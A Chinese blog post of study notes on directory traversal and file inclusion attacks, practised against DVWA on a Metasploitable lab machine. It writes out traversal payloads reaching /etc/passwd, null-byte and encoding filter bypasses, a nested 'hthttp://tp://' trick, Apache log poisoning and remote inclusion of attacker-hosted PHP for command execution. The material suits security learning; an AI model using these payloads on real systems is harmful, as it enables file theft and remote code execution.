1. 程式人生 > >Kali學習筆記31:目錄遍歷漏洞、檔案包含漏洞

Kali學習筆記31:目錄遍歷漏洞、檔案包含漏洞

文章的格式也許不是很好看,也沒有什麼合理的順序

完全是想到什麼寫一些什麼,但各個方面都涵蓋到了

能耐下心看的朋友歡迎一起學習,大牛和槓精們請繞道

 

目錄遍歷漏洞:

應用程式如果有操作檔案的功能,限制不嚴格會導致可以訪問到WEB目錄意外的檔案

目錄遍歷漏洞和檔案包含漏洞本質以及利用方法一樣

一定要論區別的話:

目錄遍歷:對本作業系統的檔案進行讀取

檔案包含:1:LFI本地檔案包含,和目錄遍歷一致;2:RFI遠端檔案包含

漏洞原因:目錄許可權限制不嚴格

 

漏洞利用示例:

啟動Metasploitable靶機:192.168.163.129

啟動Kali機器:192.168.163.132

 

在DVWA的這個目錄存在檔案包含漏洞:本地檔案包含

 

我們可以在Metasploitable中修改配置檔案以開啟遠端檔案包含漏洞:

sudo vi /etc/php5/cgi/php.ini

然後輸入/allow_url進行搜尋:找到這裡,修改成On

然後重啟Apache服務:

sudo /etc/init.d/apache2 restart

這時候Metasploitable就會存在遠端檔案包含漏洞了

 

目錄遍歷漏洞的特徵要注意:

?page=xxx.php

?home=xxx.html

?index=xxx.jsp

?file=content

 

常用漏洞驗證方式:

1:../../../../../../(多少個../都行,越多越好)/etc/passwd

 

URL上這一串東西的意義:../返回上級目錄,當返回到根目錄時候再../還是根目錄,然後直接進入linux系統的passwd檔案

 

2.file:///etc/passwd(這裡是檔案包含漏洞,不過利用方法一致)

 

3.http://xxxxx

 

前兩者用途:可以讀取到目標系統的機密檔案

遠端檔案包含用途:可以構建一個帶有shellcode的網站,使目標訪問,進而得到shell(雖然是低許可權shell)

 

注意事項:

1.有時候?page=../../../etc/passwd,顯示找不到passwd.php檔案,這是目標系統開啟了過濾機制

繞過辦法:PHP5.3版本以前的,可以用一個空字元%00來解決,示例:

?page=../../../etc/passwd%00

這時候就算目標機器補上一個.php,也無所謂

 

2.有的伺服器會過濾非法字元,比如/\$&.*等,我們可以採用一些編碼來處理

路徑方面,linux一定是/,windows通常是\,但有可能是/,實際中可以多次傳送根據結果來得到答案

編碼方面:示例

URL編碼:

../     %2e%2e%2f

..\     %2e%2e%5c

..\     %252e%252e%255c (雙層URL編碼)

 

Unicode/UTF-8編碼:

../     ..%c0%af     ..%u2216    

..\     ..%c1%9c

 

編碼工具:之前介紹的很多工具都有,我用Burp來舉例

 

可以用URL編碼後的字元做嘗試:成功

 

 

上邊說到本地檔案包含來檢視檔案內容

通常認為本地檔案包含漏洞無法執行程式碼

萬事沒有絕對,有極其特殊的方式可以執行程式碼

比如:利用訪問日誌

當我們訪問一個WebServer例如Apache時候,就會有訪問日誌

會記錄下來訪問IP和訪問的URL等一些簡單的資訊

我們用nc連線到目標的80埠:傳送一段這樣的東西

 

 

然後會在apache的日誌中插入一段php程式碼:然後對日誌檔案chmod,改為可執行許可權

如果失敗了的話,多層chmod,使訪問目錄的所有層都賦予許可權,然後利用檔案包含,有機會執行程式碼(不一定成功)

 

遠端檔案包含示例:

我先用NC偵聽本地80埠:

 

遠端檔案包含到Kali機器:這是輸入Kali的IP,至於URL隨便寫

 

然後一直顯示連線狀態

檢視NC,發現收到了連線請求:

 

nc只是獲得了連線請求,實際沒用

下面展示實際使用方式

利用Kali本機的Apache服務

到/var/www/html目錄下,新建文字 1.txt,寫入上邊的php程式碼(或者搞個木馬指令碼都行,這裡為了方便)

 

儲存之後開啟Apache服務

 

然後測試:

 

 

成功執行了ls命令

到這一步就相當於拿到了shell

 

最後:

我們可以檢視DVWA這裡的遠端檔案包含的原始碼:

LOW級別:直接獲取檔名

 <?php

    $file = $_GET['page']; //The page we wish to display 

?> 

 

MEDIUM級別:過濾特殊字元,導致無法遠端檔案包含

解決方法:編碼

比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132

如果失敗,就可以只針對http://中的某個字元,比如/進行編碼

如果還是失敗,可以進行一種巧妙的方法

非常經典的關鍵字繞過方法:

hthttp://tp://192.168.163.132

我在一個http://中插入了一個http://,伺服器只會識別一次,如果兩個分開寫都會被過濾,穿插來寫,只會過濾一個

 <?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?> 

 

HIGH級別:規定寫死,只能包含include.php

這種方式基本無解了,沒有漏洞,或者我水平低下找不到漏洞

 <?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
        
?> 

 

 

總結:

遠端檔案包含漏洞出現概率遠遠小於本地檔案包含漏洞

但是遠端檔案包含漏洞更容易被利用

 

 

大學生,生活不易,如果有大佬願意讚賞,在此多謝